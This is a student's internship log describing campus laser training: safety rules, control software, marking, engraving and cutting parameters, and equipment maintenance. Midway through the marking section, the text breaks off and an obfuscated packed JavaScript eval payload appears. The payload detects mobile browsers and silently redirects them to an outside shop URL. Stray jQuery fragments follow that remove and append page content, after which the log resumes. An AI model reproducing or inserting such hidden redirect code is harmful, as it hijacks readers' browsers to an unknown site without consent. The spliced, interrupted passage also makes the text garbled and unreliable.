Internship Log of Laser Technology Campus Training
Internship Type: Professional Practical Training at Campus Training Center
Training Period: XX/XX/20XX — XX/XX/20XX
Training Venue: Laser Technology Training Room, Intelligent Manufacturing Training Center of the University
Instructor: Professional Course Teachers
Training Objectives
This on-campus laser technology training is a key practical teaching session for this major. Relying on the complete laser training equipment of the university training center, it aims to apply theoretical knowledge learned in class, including laser principles, optoelectronic technology, laser processing technology and basic optics into practical practice. Through completing training items such as laser marking, laser cutting, laser engraving, equipment commissioning, software programming and process parameter optimization on campus, students can get familiar with the basic structure, working principles, safety operation specifications and daily maintenance methods of common laser equipment. By personally operating equipment, independently adjusting parameters and finishing training workpieces, students can make up for the limitations of pure theoretical learning, improve practical operation ability, process analysis ability and troubleshooting skills, consolidate professional foundations, and accumulate solid practical experience for subsequent professional studies and future employment.
I. General Overview of the Training
The entire laser technology training was carried out in the on-campus training center without off-campus enterprise internships. The training center is equipped with teaching-dedicated fiber laser marking machines, mini laser engravers, CO? laser cutting machines, supporting industrial control computers, professional operation consoles and a full set of optical protective devices, which fully meet the needs of curriculum teaching and hands-on training. Under systematic lectures and step-by-step guidance from professional teachers, I comprehensively learned the complete knowledge system covering basic theories of industrial lasers, equipment composition, safety codes, operation of control software, commissioning of processing parameters, workpiece fabrication and quality inspection. Compared with rigid textbook knowledge, on-campus hands-on training is more intuitive and three-dimensional. It allowed me to observe, touch and proficiently operate professional laser equipment, forming a brand-new and in-depth understanding of the practical application of laser processing technology.
II. Training Content and Practical Operation Process
(1) Safety Training and Theoretical Review
The first phase of the training focused on safety education delivered by teachers, which served as the prerequisite for all practical operations. Laser equipment belongs to high-precision optoelectronic devices with potential hazards including laser radiation, high-temperature burns, strong light reflection from lenses and electrical faults. Hence, strict operation rules are implemented in the campus training room. Teachers elaborated on access requirements for the training room, the correct way to wear protective clothing and laser safety goggles, and clarified core safety rules: never stare directly at the laser outlet, do not disassemble equipment without permission, and keep hands away from the processing area. Teachers also demonstrated standard operations including power-on self-inspection, emergency stop and power cut handling in case of abnormalities, helping me establish the working principle of standardized operation and safety priority.
Meanwhile, teachers led us to review fundamental laser theories, including stimulated emission principle of laser generation, four core characteristics of laser: monochromaticity, coherence, high brightness and high directivity, as well as differences among various laser generators. I systematically distinguished the teaching application scenarios of fiber lasers, CO? lasers and ultraviolet lasers: fiber lasers are mainly used for metal marking and small-scale metal processing; CO? lasers are widely adopted for engraving and cutting of non-metallic materials such as wood, acrylic and leather; ultraviolet lasers apply to precise, traceless micro-processing. These theories laid a solid foundation for subsequent parameter adjustment in practical training.
(2) Basic Operation Training of Laser Software
Learning laser control software was the core preliminary work of the training. The campus training adopted matched control systems for laser marking and cutting, which support functions such as drawing import, graphic drawing, text editing, parameter setting, layout and simulation. Under step-by-step tutoring from teachers, I mastered basic operations including importing simple CAD drawings, processing vector graphics, typesetting texts, editing QR codes and patterns, positioning processing areas and centering layouts.
At the beginning of practice, I frequently encountered problems such as distorted graphic proportions, misplaced layouts, incorrect parameter saving and abnormal simulation paths. After repeated drills and targeted corrections from teachers, I gradually became proficient in the operating logic of the software. I could independently finish training pattern design, dimension calibration and path optimization, effectively avoiding material waste, processing deviation and pattern deformation in subsequent production, and formed a standardized habit of simulating first before formal processing.
(3) Practical Training of Laser Marking
Laser marking was the key project of this on-campus training and the easiest item to get started with the most practice hours. The fiber laser marking machine in the training center can carve texts, patterns, student numbers, school badges and QR codes on various materials including stainless steel, aluminum nameplates, metal pendants and plastic sheets.
During operation, I learned the complete power-on procedure: switch on the main power supply, start the water cooling system, activate the control system, complete focusing calibration and red light positioning, adjust parameters, and finally conduct trial marking and formal processing. Through extensive practice, I grasped the adjustment logic of five core parameters: laser power, marking speed, frequency, filling spacing and focusing height. Higher power leads to deeper engraving depth; faster speed results in lighter and shallower marks; higher frequency delivers finer marking textures.
In the early stage of training, the workpieces I produced often suffer
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786743|210199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
ed from uneven marking depth, fuzzy edges, partial missing marking and whitening effect on reflective materials. Guided by teachers, I learned to adjust parameters according to different materials: increase power and reduce speed for hard metallic materials; lower power and raise speed for soft materials such as plastics and acrylic to prevent scorching and blackening on the surface. After repeated practice, I could independently produce standard training workpieces with clear patterns, uniform depth and no defects, fully meeting the assessment standards of the training task.
(4) Practical Operation of Laser Engraving and Cutting
Based on laser marking training, I further learned to operate CO? laser engraving and cutting machines, which are used for engraving and hollow cutting of non-metallic materials such as acrylic plates, wood boards and cardboard. Compared with marking machines, engraving and cutting machines feature a larger processing range and more complex paths, demanding higher precision in parameter setting and focusing.
In engraving mode, I mainly completed relief engraving of flat patterns and texts, and created light and shadow layers by adjusting filling density. In cutting mode, I focused on hollow cutting of closed graphics, and mastered the method to ensure complete penetration of plates with smooth, burr-free cutting edges by regulating air pressure, power and speed. I found that excessive speed would cause incomplete cutting and frequent breakpoints, while overly low speed would lead to scorched edges and deformation of plates. Through continuous trial and error debugging, I gradually mastered standard parameters matching plates of different thicknesses, and was capable of independently fabricating simple handicrafts and training templates.
(5) Daily Inspection and Basic Maintenance of Equipment
Apart from practical processing, this training required us to master daily inspection and basic maintenance skills for campus laser equipment. Teachers explained that teaching equipment runs frequently, and daily maintenance directly affects processing accuracy and service life. Before and after daily training, I followed standardized procedures to inspect the equipment: check the liquid level of the water cooling system, running status of fans, circuit lines and cleanliness of lenses before startup; clean debris on the workbench, wipe protective lenses, cut off equipment power and tidy the operation desk after training.
In addition, I learned troubleshooting methods for common minor faults of teaching equipment, such as inaccurate red light positioning, weak laser output, processing deviation and abnormal software connection. I deeply realized that operating precision equipment demands rigorous and careful attitudes, as tiny oversights will compromise the training effect.
III. Training Gains and Personal Insights
This period of on-campus laser training helped me overcome the disadvantage of only mastering theoretical knowledge without practical skills. Abstract concepts in textbooks such as laser principles, process parameters and equipment structures became easy to understand through repeated machine operation, parameter debugging and workpiece production. I not only mastered the basic operation methods of all laser teaching equipment in the traini